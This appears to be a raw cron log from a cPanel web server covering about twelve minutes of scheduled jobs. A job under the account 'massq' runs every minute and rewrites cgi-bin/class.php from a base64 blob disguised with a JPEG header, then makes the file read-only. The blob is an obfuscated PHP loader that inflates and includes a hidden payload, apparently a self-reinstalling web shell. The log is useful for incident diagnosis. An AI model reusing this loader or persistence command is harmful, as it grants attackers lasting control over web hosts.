Sep  1 23:48:01 server CROND[17525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:49:01 server CROND[17839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:49:01 server CROND[17838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:49:01 server CROND[17840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:50:01 server CROND[18234]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:50:01 server CROND[18235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:50:01 server CROND[18239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 23:50:01 server CROND[18243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:50:01 server CROND[18241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:50:01 server CROND[18242]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:50:01 server CROND[18240]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:50:01 server CROND[18245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:50:01 server CROND[18246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:51:01 server CROND[19087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:51:01 server CROND[19088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:51:01 server CROND[19089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:52:01 server CROND[19474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:52:01 server CROND[19475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:52:01 server CROND[19476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:53:01 server CROND[19923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:53:01 server CROND[19926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:53:01 server CROND[19924]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  1 23:53:01 server CROND[19925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:54:01 server CROND[20405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:54:01 server CROND[20406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:54:01 server CROND[20407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:55:01 server CROND[20801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:55:01 server CROND[20802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:55:01 server CROND[20805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:55:01 server CROND[20803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:55:01 server CROND[20807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:55:01 server CROND[20806]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:55:01 server CROND[20808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:56:01 server CROND[21813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:56:01 server CROND[21814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:56:01 server CROND[21815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:57:01 server CROND[22209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:57:01 server CROND[22211]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 23:57:01 server CROND[22210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:57:01 server CROND[22212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:58:01 server CROND[22629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:58:01 server CROND[22630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:58:01 server CROND[22631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:59:01 server CROND[23284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:59:01 server CROND[23283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:59:01 server CROND[23285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:00:01 server CROND[23801]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:00:01 server CROND[23804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:00:01 server CROND[23805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 00:00:01 server CROND[23818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 00:00:01 server CROND[23813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
